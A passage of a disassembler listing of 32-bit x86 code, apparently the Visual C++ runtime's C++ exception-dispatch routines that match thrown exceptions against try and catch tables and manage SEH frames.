mov edx, [ebp+arg_10] mov eax, [ebp+var_4] cmp eax, [edx+4] jge short loc_42F41D mov [ebp+var_28], 0 jmp short loc_42F425 ; --------------------------------------------------------------------------- loc_42F41D: ; CODE XREF: sub_42F3F0+17j ; sub_42F3F0+22j call sub_430060 mov [ebp+var_28], eax loc_42F425: ; CODE XREF: sub_42F3F0+2Bj mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz loc_42F4E5 mov edx, [ebp+arg_0] cmp dword ptr [edx+10h], 3 jnz loc_42F4E5 mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jnz loc_42F4E5 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+1Ch], 0 jnz loc_42F4E5 call sub_42B630 cmp dword ptr [eax+6Ch], 0 jnz short loc_42F46E jmp loc_42F68C ; --------------------------------------------------------------------------- loc_42F46E: ; CODE XREF: sub_42F3F0+77j call sub_42B630 mov edx, [eax+6Ch] mov [ebp+arg_0], edx call sub_42B630 mov eax, [eax+70h] mov [ebp+arg_8], eax mov [ebp+var_8], 1 push 1 mov ecx, [ebp+arg_0] push ecx call sub_4359D0 add esp, 8 test eax, eax jz short loc_42F4A3 mov [ebp+var_2C], 0 jmp short loc_42F4AB ; --------------------------------------------------------------------------- loc_42F4A3: ; CODE XREF: sub_42F3F0+A8j call sub_430060 mov [ebp+var_2C], eax loc_42F4AB: ; CODE XREF: sub_42F3F0+B1j mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_42F4DE mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_42F4DE mov ecx, [ebp+arg_0] cmp dword ptr [ecx+14h], 19930520h jnz short loc_42F4DE mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_42F4DE call sub_430060 mov [ebp+var_30], eax jmp short loc_42F4E5 ; --------------------------------------------------------------------------- loc_42F4DE: ; CODE XREF: sub_42F3F0+C4j ; sub_42F3F0+CDj ... mov [ebp+var_30], 0 loc_42F4E5: ; CODE XREF: sub_42F3F0+3Ej ; sub_42F3F0+4Bj ... mov eax, [ebp+arg_0] cmp dword ptr [eax], 0E06D7363h jnz loc_42F64C mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 3 jnz loc_42F64C mov edx, [ebp+arg_0] cmp dword ptr [edx+14h], 19930520h jnz loc_42F64C lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_14] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_10] push ecx call sub_423600 add esp, 14h mov [ebp+var_10], eax jmp short loc_42F544 ; --------------------------------------------------------------------------- loc_42F532: ; CODE XREF: sub_42F3F0:loc_42F565j ; sub_42F3F0:loc_42F62Aj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 14h mov [ebp+var_10], eax loc_42F544: ; CODE XREF: sub_42F3F0+140j mov ecx, [ebp+var_14] cmp ecx, [ebp+var_C] jnb loc_42F62F mov edx, [ebp+var_10] mov eax, [edx] cmp eax, [ebp+var_4] jg short loc_42F565 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] cmp edx, [ecx+4] jle short loc_42F567 loc_42F565: ; CODE XREF: sub_42F3F0+168j jmp short loc_42F532 ; --------------------------------------------------------------------------- loc_42F567: ; CODE XREF: sub_42F3F0+173j mov eax, [ebp+var_10] mov ecx, [eax+10h] mov [ebp+var_1C], ecx mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov [ebp+var_24], eax jmp short loc_42F58D ; --------------------------------------------------------------------------- loc_42F57B: ; CODE XREF: sub_42F3F0:loc_42F625j mov ecx, [ebp+var_24] sub ecx, 1 mov [ebp+var_24], ecx mov edx, [ebp+var_1C] add edx, 10h mov [ebp+var_1C], edx loc_42F58D: ; CODE XREF: sub_42F3F0+189j cmp [ebp+var_24], 0 jle loc_42F62A mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] add edx, 4 mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] mov eax, [edx] mov [ebp+var_20], eax jmp short loc_42F5C8 ; --------------------------------------------------------------------------- loc_42F5B6: ; CODE XREF: sub_42F3F0+1FBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_18] add edx, 4 mov [ebp+var_18], edx loc_42F5C8: ; CODE XREF: sub_42F3F0+1C4j cmp [ebp+var_20], 0 jle short loc_42F625 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+var_18] mov eax, [edx] push eax mov ecx, [ebp+var_1C] push ecx call sub_42F7B0 add esp, 0Ch test eax, eax jnz short loc_42F5ED jmp short loc_42F5B6 ; --------------------------------------------------------------------------- loc_42F5ED: ; CODE XREF: sub_42F3F0+1F9j mov dl, [ebp+var_8] push edx mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_18] mov ecx, [eax] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42F9A0 ; --------------------------------------------------------------------------- add esp, 2Ch jmp short loc_42F68A ; --------------------------------------------------------------------------- loc_42F625: ; CODE XREF: sub_42F3F0+1DCj jmp loc_42F57B ; --------------------------------------------------------------------------- loc_42F62A: ; CODE XREF: sub_42F3F0+1A1j ; sub_42F3F0:loc_42F68Aj jmp loc_42F532 ; --------------------------------------------------------------------------- loc_42F62F: ; CODE XREF: sub_42F3F0+15Aj mov edx, [ebp+arg_14] and edx, 0FFh test edx, edx jz short loc_42F64A push 1 mov eax, [ebp+arg_0] push eax call sub_42FE80 add esp, 8 loc_42F64A: ; CODE XREF: sub_42F3F0+24Aj jmp short loc_42F688 ; --------------------------------------------------------------------------- loc_42F64C: ; CODE XREF: sub_42F3F0+FEj ; sub_42F3F0+10Bj ... mov ecx, [ebp+arg_14] and ecx, 0FFh test ecx, ecx jnz short loc_42F683 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42F690 add esp, 20h jmp short loc_42F688 ; --------------------------------------------------------------------------- loc_42F683: ; CODE XREF: sub_42F3F0+267j call sub_42FFB0 loc_42F688: ; CODE XREF: sub_42F3F0:loc_42F64Aj ; sub_42F3F0+291j jmp short loc_42F68C ; --------------------------------------------------------------------------- loc_42F68A: ; CODE XREF: sub_42F3F0+233j jmp short loc_42F62A ; --------------------------------------------------------------------------- loc_42F68C: ; CODE XREF: sub_42F3F0+79j ; sub_42F3F0:loc_42F688j mov esp, ebp pop ebp retn sub_42F3F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F690 proc near ; CODE XREF: sub_42F3F0+289p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0Ch call sub_42B630 cmp dword ptr [eax+68h], 0 jz short loc_42F6CE mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4234A0 add esp, 1Ch test eax, eax jz short loc_42F6CE jmp loc_42F7A1 ; --------------------------------------------------------------------------- loc_42F6CE: ; CODE XREF: sub_42F690+Fj ; sub_42F690+37j lea ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx call sub_423600 add esp, 14h mov [ebp+var_8], eax jmp short loc_42F701 ; --------------------------------------------------------------------------- loc_42F6EF: ; CODE XREF: sub_42F690:loc_42F759j ; sub_42F690+10Cj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_8] add ecx, 14h mov [ebp+var_8], ecx loc_42F701: ; CODE XREF: sub_42F690+5Dj mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jnb loc_42F7A1 mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] cmp ecx, [eax] jl short loc_42F759 mov edx, [ebp+var_8] mov eax, [ebp+arg_14] cmp eax, [edx+4] jg short loc_42F759 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] sub edx, 1 shl edx, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] cmp dword ptr [ecx+edx+4], 0 jz short loc_42F75B mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] mov eax, [edx+eax+4] movsx ecx, byte ptr [eax+8] test ecx, ecx jz short loc_42F75B loc_42F759: ; CODE XREF: sub_42F690+85j ; sub_42F690+90j jmp short loc_42F6EF ; --------------------------------------------------------------------------- loc_42F75B: ; CODE XREF: sub_42F690+A9j ; sub_42F690+C7j push 1 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_8] push ecx push 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] add edx, eax push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42F9A0 ; --------------------------------------------------------------------------- add esp, 2Ch jmp loc_42F6EF ; --------------------------------------------------------------------------- loc_42F7A1: ; CODE XREF: sub_42F690+39j ; sub_42F690+77j mov esp, ebp pop ebp retn sub_42F690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F7B0 proc near ; CODE XREF: sub_42F3F0+1EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jz short loc_42F7CB mov ecx, [ebp+arg_0] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jnz short loc_42F7D5 loc_42F7CB: ; CODE XREF: sub_42F7B0+Bj mov eax, 1 jmp loc_42F862 ; --------------------------------------------------------------------------- loc_42F7D5: ; CODE XREF: sub_42F7B0+19j mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+4] cmp eax, [edx+4] jz short loc_42F807 mov ecx, [ebp+arg_4] mov edx, [ecx+4] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] add ecx, 8 push ecx call sub_422740 add esp, 8 test eax, eax jz short loc_42F807 xor eax, eax jmp short loc_42F862 ; --------------------------------------------------------------------------- loc_42F807: ; CODE XREF: sub_42F7B0+31j ; sub_42F7B0+51j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 2 test eax, eax jz short loc_42F81F mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 8 test edx, edx jz short loc_42F858 loc_42F81F: ; CODE XREF: sub_42F7B0+61j mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42F837 mov edx, [ebp+arg_0] mov eax, [edx] and eax, 1 test eax, eax jz short loc_42F858 loc_42F837: ; CODE XREF: sub_42F7B0+79j mov ecx, [ebp+arg_8] mov edx, [ecx] and edx, 2 test edx, edx jz short loc_42F84F mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 2 test ecx, ecx jz short loc_42F858 loc_42F84F: ; CODE XREF: sub_42F7B0+91j mov [ebp+var_4], 1 jmp short loc_42F85F ; --------------------------------------------------------------------------- loc_42F858: ; CODE XREF: sub_42F7B0+6Dj ; sub_42F7B0+85j ... mov [ebp+var_4], 0 loc_42F85F: ; CODE XREF: sub_42F7B0+A6j mov eax, [ebp+var_4] loc_42F862: ; CODE XREF: sub_42F7B0+20j ; sub_42F7B0+55j mov esp, ebp pop ebp retn sub_42F7B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F870 proc near ; CODE XREF: .XComp0:004233DAp ; sub_42F300+4Cp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F2A8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFECh push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] mov ecx, [eax+8] mov [ebp+var_1C], ecx loc_42F89F: ; CODE XREF: sub_42F870+BFj mov edx, [ebp+var_1C] cmp edx, [ebp+arg_C] jz loc_42F934 cmp [ebp+var_1C], 0FFFFFFFFh jle short loc_42F8C5 mov eax, [ebp+arg_8] mov ecx, [ebp+var_1C] cmp ecx, [eax+4] jge short loc_42F8C5 mov [ebp+var_20], 0 jmp short loc_42F8CD ; --------------------------------------------------------------------------- loc_42F8C5: ; CODE XREF: sub_42F870+3Fj ; sub_42F870+4Aj call sub_430060 mov [ebp+var_20], eax loc_42F8CD: ; CODE XREF: sub_42F870+53j mov [ebp+var_4], 0 mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] cmp dword ptr [eax+ecx*8+4], 0 jz short loc_42F900 push 103h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] mov ecx, [eax+8] mov edx, [ebp+var_1C] mov eax, [ecx+edx*8+4] push eax call sub_42FF60 loc_42F900: ; CODE XREF: sub_42F870+72j mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F920 ; --------------------------------------------------------------------------- mov ecx, [ebp+var_14] push ecx call sub_42F970 add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_42F920: ; CODE XREF: sub_42F870+97j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] mov edx, [eax+ecx*8] mov [ebp+var_1C], edx jmp loc_42F89F ; --------------------------------------------------------------------------- loc_42F934: ; CODE XREF: sub_42F870+35j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_C] jnz short loc_42F945 mov [ebp+var_24], 0 jmp short loc_42F94D ; --------------------------------------------------------------------------- loc_42F945: ; CODE XREF: sub_42F870+CAj call sub_430060 mov [ebp+var_24], eax loc_42F94D: ; CODE XREF: sub_42F870+D3j mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] mov [ecx+8], edx mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42F870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F970 proc near ; CODE XREF: sub_42F870+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+var_8], eax cmp [ebp+var_8], 0E06D7363h jz short loc_42F991 jmp short loc_42F996 ; --------------------------------------------------------------------------- loc_42F991: ; CODE XREF: sub_42F970+1Dj call sub_42FFB0 loc_42F996: ; CODE XREF: sub_42F970+1Fj xor eax, eax mov esp, ebp pop ebp retn sub_42F970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_42F9A0 proc near ; CODE XREF: sub_42F3F0+22Bp ; sub_42F690+104p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch ; FUNCTION CHUNK AT 0042F9EC SIZE 0000006B BYTES push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_18], 0 jz short loc_42F9CA mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_14] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42FC00 add esp, 10h loc_42F9CA: ; CODE XREF: sub_42F9A0+10j cmp [ebp+arg_24], 0 jnz short loc_42F9DF mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_423320 ; --------------------------------------------------------------------------- jmp short loc_42F9EC ; --------------------------------------------------------------------------- loc_42F9DF: ; CODE XREF: sub_42F9A0+2Ej mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_24] push edx call sub_423320 sub_42F9A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F9A0 loc_42F9EC: ; CODE XREF: sub_42F9A0+3Dj mov eax, [ebp+arg_1C] mov ecx, [eax] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_42F870 add esp, 10h mov edx, [ebp+arg_1C] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx+8], eax push 100h mov edx, [ebp+arg_20] push edx mov eax, [ebp+arg_14] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42FA60 add esp, 1Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42FA53 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_8] push ecx call sub_4232B0 loc_42FA53: ; CODE XREF: sub_42F9A0+A4j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42F9A0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FA60 proc near ; CODE XREF: sub_42F9A0+95p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0042FB9B SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F2B8 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax mov [ebp+var_24], 0 mov ecx, [ebp+arg_4] mov edx, [ecx-4] mov [ebp+var_28], edx call sub_42B630 mov eax, [eax+6Ch] mov [ebp+var_1C], eax call sub_42B630 mov ecx, [eax+70h] mov [ebp+var_20], ecx call sub_42B630 mov edx, [ebp+arg_0] mov [eax+6Ch], edx call sub_42B630 mov ecx, [ebp+arg_8] mov [eax+70h], ecx mov [ebp+var_4], 0 mov [ebp+var_4], 1 mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_4233F0 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], 0 jmp short loc_42FB2F ; --------------------------------------------------------------------------- loc_42FAFE: ; DATA XREF: .XComp0:0043F2C8o mov ecx, [ebp+var_14] push ecx call sub_42FBB0 add esp, 4 retn ; --------------------------------------------------------------------------- loc_42FB0B: ; DATA XREF: .XComp0:0043F2CCo mov esp, [ebp+var_18] mov [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_30], 0 lea edx, [ebp+var_10] push edx call sub_4236D2 add esp, 8 mov eax, [ebp+var_30] jmp short loc_42FB9E ; --------------------------------------------------------------------------- loc_42FB2F: ; CODE XREF: sub_42FA60+9Cj mov [ebp+var_4], 0FFFFFFFFh call sub_42FB3D jmp short loc_42FB9B sub_42FA60 endp ; =============== S U B R O U T I N E ======================================= sub_42FB3D proc near ; CODE XREF: sub_42FA60+D6p ; DATA XREF: .XComp0:0043F2C0o mov eax, [ebp+0Ch] mov ecx, [ebp-28h] mov [eax-4], ecx call sub_42B630 mov edx, [ebp-1Ch] mov [eax+6Ch], edx call sub_42B630 mov ecx, [ebp-20h] mov [eax+70h], ecx mov edx, [ebp+8] cmp dword ptr [edx], 0E06D7363h jnz short locret_42FB9A mov eax, [ebp+8] cmp dword ptr [eax+10h], 3 jnz short locret_42FB9A mov ecx, [ebp+8] cmp dword ptr [ecx+14h], 19930520h jnz short locret_42FB9A cmp dword ptr [ebp-24h], 0 jnz short locret_42FB9A cmp dword ptr [ebp-2Ch], 0 jz short locret_42FB9A call sub_42373A push eax mov edx, [ebp+8] push edx call sub_42FE80 add esp, 8 locret_42FB9A: ; CODE XREF: sub_42FB3D+28j ; sub_42FB3D+31j ... retn sub_42FB3D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA60 loc_42FB9B: ; CODE XREF: sub_42FA60+DBj mov eax, [ebp+var_2C] loc_42FB9E: ; CODE XREF: sub_42FA60+CDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42FA60 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FBB0 proc near ; CODE XREF: sub_42FA60+A2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp dword ptr [edx], 0E06D7363h jnz short loc_42FBEC mov eax, [ebp+var_4] cmp dword ptr [eax+10h], 3 jnz short loc_42FBEC mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 19930520h jnz short loc_42FBEC mov edx, [ebp+var_4] cmp dword ptr [edx+1Ch], 0 jnz short loc_42FBEC mov eax, 1 jmp short loc_42FBEE ; --------------------------------------------------------------------------- loc_42FBEC: ; CODE XREF: sub_42FBB0+15j ; sub_42FBB0+1Ej ... xor eax, eax loc_42FBEE: ; CODE XREF: sub_42FBB0+3Aj mov esp, ebp pop ebp retn sub_42FBB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FC00 proc near ; CODE XREF: sub_42F9A0+22p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F2D0 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_42FC46 mov ecx, [ebp+arg_8] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jz short loc_42FC46 mov ecx, [ebp+arg_8] cmp dword ptr [ecx+8], 0 jnz short loc_42FC4B loc_42FC46: ; CODE XREF: sub_42FC00+2Dj ; sub_42FC00+3Bj jmp loc_42FE6A ; --------------------------------------------------------------------------- loc_42FC4B: ; CODE XREF: sub_42FC00+44j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+arg_4] lea edx, [ecx+eax+0Ch] mov [ebp+var_1C], edx mov [ebp+var_4], 0 mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 8 test ecx, ecx jz short loc_42FCC6 push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4359D0 add esp, 8 test eax, eax jz short loc_42FCBC push 1 mov ecx, [ebp+var_1C] push ecx call sub_435A00 add esp, 8 test eax, eax jz short loc_42FCBC mov edx, [ebp+var_1C] mov eax, [ebp+arg_0] mov ecx, [eax+18h] mov [edx], ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+var_1C] mov ecx, [eax] push ecx call sub_42FF10 add esp, 8 mov edx, [ebp+var_1C] mov [edx], eax jmp short loc_42FCC1 ; --------------------------------------------------------------------------- loc_42FCBC: ; CODE XREF: sub_42FC00+81j ; sub_42FC00+93j call sub_430060 loc_42FCC1: ; CODE XREF: sub_42FC00+BAj jmp loc_42FE53 ; --------------------------------------------------------------------------- loc_42FCC6: ; CODE XREF: sub_42FC00+6Cj mov eax, [ebp+arg_C] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42FD4A push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4359D0 add esp, 8 test eax, eax jz short loc_42FD40 push 1 mov ecx, [ebp+var_1C] push ecx call sub_435A00 add esp, 8 test eax, eax jz short loc_42FD40 mov edx, [ebp+arg_C] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_4237A0 add esp, 0Ch mov ecx, [ebp+arg_C] cmp dword ptr [ecx+14h], 4 jnz short loc_42FD3E mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jz short loc_42FD3E mov eax, [ebp+arg_C] add eax, 8 push eax mov ecx, [ebp+var_1C] mov edx, [ecx] push edx call sub_42FF10 add esp, 8 mov ecx, [ebp+var_1C] mov [ecx], eax loc_42FD3E: ; CODE XREF: sub_42FC00+11Aj ; sub_42FC00+122j jmp short loc_42FD45 ; --------------------------------------------------------------------------- loc_42FD40: ; CODE XREF: sub_42FC00+E5j ; sub_42FC00+F7j call sub_430060 loc_42FD45: ; CODE XREF: sub_42FC00:loc_42FD3Ej jmp loc_42FE53 ; --------------------------------------------------------------------------- loc_42FD4A: ; CODE XREF: sub_42FC00+D0j mov edx, [ebp+arg_C] cmp dword ptr [edx+18h], 0 jnz short loc_42FDB0 push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_4359D0 add esp, 8 test eax, eax jz short loc_42FDA6 push 1 mov edx, [ebp+var_1C] push edx call sub_435A00 add esp, 8 test eax, eax jz short loc_42FDA6 mov eax, [ebp+arg_C] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42FF10 add esp, 8 push eax mov edx, [ebp+var_1C] push edx call sub_4237A0 add esp, 0Ch jmp short loc_42FDAB ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: sub_42FC00+166j ; sub_42FC00+178j call sub_430060 loc_42FDAB: ; CODE XREF: sub_42FC00+1A4j jmp loc_42FE53 ; --------------------------------------------------------------------------- loc_42FDB0: ; CODE XREF: sub_42FC00+151j push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_4359D0 add esp, 8 test eax, eax jz loc_42FE4E push 1 mov edx, [ebp+var_1C] push edx call sub_435A00 add esp, 8 test eax, eax jz short loc_42FE4E mov eax, [ebp+arg_C] mov ecx, [eax+18h] push ecx call sub_435A30 add esp, 4 test eax, eax jz short loc_42FE4E mov edx, [ebp+arg_C] mov eax, [edx] and eax, 4 test eax, eax jz short loc_42FE25 push 1 mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42FF10 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_423310 jmp short loc_42FE4C ; --------------------------------------------------------------------------- loc_42FE25: ; CODE XREF: sub_42FC00+1F8j mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42FF10 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_423300 loc_42FE4C: ; CODE XREF: sub_42FC00+223j jmp short loc_42FE53 ; --------------------------------------------------------------------------- loc_42FE4E: ; CODE XREF: sub_42FC00+1C3j ; sub_42FC00+1D9j ... call sub_430060 loc_42FE53: ; CODE XREF: sub_42FC00:loc_42FCC1j ; sub_42FC00:loc_42FD45j ... mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42FE6A ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_42FFB0 loc_42FE6A: ; CODE XREF: sub_42FC00:loc_42FC46j ; sub_42FC00+25Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx 